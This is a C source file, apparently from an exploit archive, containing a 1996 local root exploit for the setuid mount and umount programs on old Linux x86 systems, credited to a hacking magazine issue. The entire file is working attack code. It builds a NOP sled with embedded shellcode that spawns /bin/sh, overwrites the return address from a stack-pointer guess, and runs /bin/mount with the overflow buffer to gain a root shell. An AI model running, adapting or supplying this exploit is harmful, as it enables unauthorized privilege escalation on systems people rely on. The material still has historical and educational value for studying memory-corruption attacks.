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mount.c
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C/C++ Source or Header
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2005-02-12
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1KB
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50 lines
/*
* mount exploit for linux x86 < 2.0.10
* discovered by bloodmask&vio/couin
* coded by plasmoid/thc/deep for thc-magazine issue #3
* 12/12/96 - works also on umount
*/
#include <stdio.h>
#define lv_size 1024
#define offset 30+lv_size+8*4
long get_sp()
{
__asm__("movl %esp, %eax");
}
void main(int argc, char **argv)
{
char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char buffer[lv_size + 4 * 8];
unsigned long *ptr2 = NULL;
char *ptr = NULL;
int i;
for (i = 0; i < lv_size + 4 * 8; i++)
buffer[i] = 0x00;
ptr = buffer;
for (i = 0; i < lv_size - strlen(execshell); i++)
*(ptr++) = 0x90;
for (i = 0; i < strlen(execshell); i++)
*(ptr++) = execshell[i];
ptr2 = (long *) ptr;
for (i = 1; i < 2; i++)
*(ptr2++) = get_sp() + offset;
printf("discovered by bloodmask&vio/couin\n"
"coded by plasmoid/thc/deep\n" "for thc-magazine issue #3\n");
(void) alarm((int) 0);
execl("/bin/mount", "mount", buffer, NULL);
}